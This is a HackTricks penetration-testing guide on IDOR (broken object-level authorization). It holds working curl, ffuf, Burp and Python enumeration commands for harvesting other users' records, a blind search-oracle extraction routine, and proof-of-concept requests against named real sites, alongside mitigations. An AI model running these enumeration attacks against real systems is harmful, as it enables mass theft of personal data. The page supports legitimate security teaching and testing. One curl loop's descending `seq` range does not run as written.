idor.md (13839B)
1 --- 2 title: "IDOR (Insecure Direct Object Reference)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/idor.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/idor.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # IDOR (Insecure Direct Object Reference) 14 15 IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a user–controllable identifier that is used **directly** to access an internal object **without verifying that the caller is authorized** to access/modify that object. 16 Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration. 17 18 --- 19 ## 1. Identifying Potential IDORs 20 21 1. Look for **parameters that reference an object**: 22 * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` 23 * Query: `?id=42`, `?invoice=2024-00001` 24 * Body / JSON: `{"user_id": 321, "order_id": 987}` 25 * Headers / Cookies: `X-Client-ID: 4711` 26 2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). 27 3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. 28 4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. 29 5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.<sup>[[3]](#references)</sup> 30 31 ### Quick manual tampering (Burp Repeater) 32 ```text 33 PUT /api/lead/cem-xhr HTTP/1.1 34 Host: www.example.com 35 Cookie: auth=eyJhbGciOiJIUzI1NiJ9... 36 Content-Type: application/json 37 38 {"lead_id":64185741} 39 ``` 40 41 ### Automated enumeration (Burp Intruder / curl loop) 42 ```bash 43 for id in $(seq 64185742 64185700); do 44 curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ 45 -H 'Content-Type: application/json' \ 46 -H "Cookie: auth=$TOKEN" \ 47 -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; 48 done 49 ``` 50 51 ### Enumerating predictable download IDs (ffuf) 52 Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=<int>`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:<sup>[[5]](#references)</sup> 53 54 ```bash 55 ffuf -u http://file.era.htb/download.php?id=FUZZ \ 56 -H "Cookie: PHPSESSID=<session>" \ 57 -w <(seq 0 6000) \ 58 -fr 'File Not Found' \ 59 -o hits.json 60 jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys 61 ``` 62 63 * `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material). 64 * The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs. 65 66 --- 67 68 ### Authenticated combinatorial enumeration (ffuf + jq) 69 70 Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie:<sup>[[6]](#references)</sup> 71 72 ```bash 73 ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \ 74 -w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \ 75 -H 'Cookie: PHPSESSID=<session>' \ 76 -ac -o chats.json -of json 77 ``` 78 79 Then, post-process the JSON output with `jq` to remove symmetric duplicates (A,B) vs (B,A) and keep only unique pairs: 80 81 ```bash 82 jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json 83 ``` 84 85 --- 86 87 ### Error-response oracle for user/file enumeration 88 89 When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=<u>&file=<f>`), subtle differences in error messages often create an oracle:<sup>[[4]](#references)</sup> 90 91 - Non-existent username → "User not found" 92 - Bad filename but valid extension → "File does not exist" (sometimes also lists available files) 93 - Bad extension → validation error 94 95 With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users: 96 97 ```bash 98 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ 99 -b 'PHPSESSID=<session-cookie>' \ 100 -w /opt/SecLists/Usernames/Names/names.txt \ 101 -fr 'User not found' 102 ``` 103 104 Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage. 105 106 --- 107 108 ### Search-index authorization bypass and blind substring oracle 109 110 Search, autocomplete, filtering, and analytics are often backed by a secondary index. If an application removes a restricted field only while rendering or serializing a result, but still lets that field participate in search evaluation, a low-privileged user can infer its contents. Constrain the query to one object the user can access so that the object's presence becomes a membership test for attacker-controlled text in any of its indexed fields.<sup>[[8]](#references)</sup> 111 112 A practical test is to compare an administrator with a deliberately restricted account, select an object whose hidden field is known from the administrator session, and combine a candidate term with the narrowest available tenant/workspace and object filters. For example, a Lucene-style endpoint might accept a query shaped like this:<sup>[[8]](#references)</sup> 113 114 ```http 115 GET /api/search?query={candidate}%20AND%20((workspaceId=1%20AND%20ITEM_DETAILS:ITEM_ID=23)) HTTP/2 116 Cookie: session={low_privilege_session} 117 ``` 118 119 Calibrate the oracle with known-positive and known-negative terms. A scoped item in a `200` response versus no item in a `204` response is a particularly clean signal, but result counts, body length, errors, or stable timing differences can provide the same Boolean primitive. Keep the object filter fixed: otherwise unrelated documents can produce false positives.<sup>[[8]](#references)</sup> 120 121 #### Bidirectional extraction 122 123 A substring oracle does **not** identify position zero: every character occurring anywhere in the hidden value tests positive. Start from a distinctive matching marker (for example `@` for an email or `://` for a URL), prepend each character from the expected alphabet until no extension matches, then append characters until reaching the other boundary. The core state transition can be represented as follows:<sup>[[8]](#references)</sup> 124 125 ```python 126 def extend(seed, left): 127 while True: 128 hits = [] 129 for char in alphabet: 130 trial = char + seed if left else seed + char 131 if oracle(trial): 132 hits.append(trial) 133 if not hits: 134 return seed 135 if len(hits) > 1: 136 return backtrack(hits, left) 137 seed = hits[0] 138 139 value = extend(extend(seed, left=True), left=False) 140 ``` 141 142 Do not blindly keep the first successful extension. Multiple hidden fields, repeated substrings, or several values containing the seed can create multiple valid branches; retain them and backtrack or validate candidates using additional contextual markers. Also derive the alphabet from the data type and test how the search analyzer handles case, punctuation, token boundaries, escaping, wildcards, and reserved query characters.<sup>[[8]](#references)</sup> 143 144 The fix is to apply **object- and field-level authorization before query evaluation**: build permission-aware index documents or restrict the queried fields to those visible to the principal, validate tenant/object filters, and rebuild indexes after removing sensitive fields. For detection, alert on a fixed object filter accompanied by many overlapping one-character query extensions and rate-limit that pattern; normalizing `200`/`204` responses only obscures the signal and does not repair the authorization failure.<sup>[[8]](#references)</sup> 145 146 --- 147 ## 2. Real-World Case Study – McHire Chatbot Platform (2025) 148 149 During an assessment of the Paradox.ai-powered **McHire** recruitment portal the following IDOR was discovered: 150 151 * Endpoint: `PUT /api/lead/cem-xhr` 152 * Authorization: user session cookie for **any** restaurant test account 153 * Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier 154 155 By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records.<sup>[[1]](#references)</sup> 156 157 Proof-of-Concept request: 158 ```bash 159 curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ 160 -H 'Content-Type: application/json' \ 161 -d '{"lead_id":64185741}' 162 ``` 163 164 Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.<sup>[[1]](#references)</sup> 165 166 ### Case Study – Wristband QR codes as weak bearer tokens (2025–2026) 167 168 *Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**.<sup>[[7]](#references)</sup> 169 170 *Predictability:* Wristband IDs followed a short pattern such as `C-285-100` → ASCII hex `432d3238352d313030` (`43 2d 32 38 35 2d 31 30 30`). The space was estimated at ~26M combinations, trivial to exhaust online. 171 172 *Exploitation workflow with Burp Intruder:* 173 1. **Payload generation:** Build candidate IDs (e.g., `[A-Z]-###-###`). Use a Burp Intruder **Pitchfork** or **Cluster Bomb** attack with positions for the letter and digits. Add a **payload processing rule → Add prefix/suffix → payload encoding: ASCII hex** so each request transmits the hex string expected by the backend. 174 2. **Response grep:** Mark Intruder **grep-match** for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404. 175 3. **Throughput measurement:** ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names). 176 4. **Rate-limiting verification:** After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered. 177 178 Quick scriptable variant (client-side hex encoding): 179 ```python 180 import requests 181 182 def to_hex(s): 183 return ''.join(f"{ord(c):02x}" for c in s) 184 185 for band_id in ["C-285-100", "T-544-492"]: 186 hex_id = to_hex(band_id) 187 r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id}) 188 if r.ok and "media" in r.text: 189 print(band_id, "->", r.json()) 190 ``` 191 192 > **Lesson:** Encoding (ASCII→hex/Base64) does **not** add entropy; short IDs become **bearer tokens** that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed. 193 194 --- 195 ## 3. Impact of IDOR / BOLA 196 * Horizontal escalation – read/update/delete **other users’** data. 197 * Vertical escalation – low privileged user gains admin-only functionality. 198 * Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices). 199 * Account takeover by stealing tokens or resetting passwords of other users.<sup>[[2]](#references)</sup> 200 201 --- 202 ## 4. Mitigations & Best Practices 203 1. **Enforce object-level authorization** on every request (`user_id == session.user`). 204 2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs. 205 3. Perform authorization **server-side**, never rely on hidden form fields or UI controls. 206 4. Implement **RBAC / ABAC** checks in a central middleware. 207 5. Add **rate-limiting & logging** to detect enumeration of IDs. 208 6. Security test every new endpoint (unit, integration, and DAST).<sup>[[2]](#references)</sup> 209 210 --- 211 ## 5. Tooling 212 * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. 213 * **OWASP ZAP**: Auth Matrix, Forced Browse. 214 * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). 215 216 217 ## References 218 219 - [1] [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) 220 - [2] [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) 221 - [3] [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) 222 - [4] [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) 223 - [5] [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html) 224 - [6] [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html) 225 - [7] [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/) 226 - [8] [Blind Oracle: Extracting Restricted Data Through a Search API](https://kymu.dev/article/BlindOracle)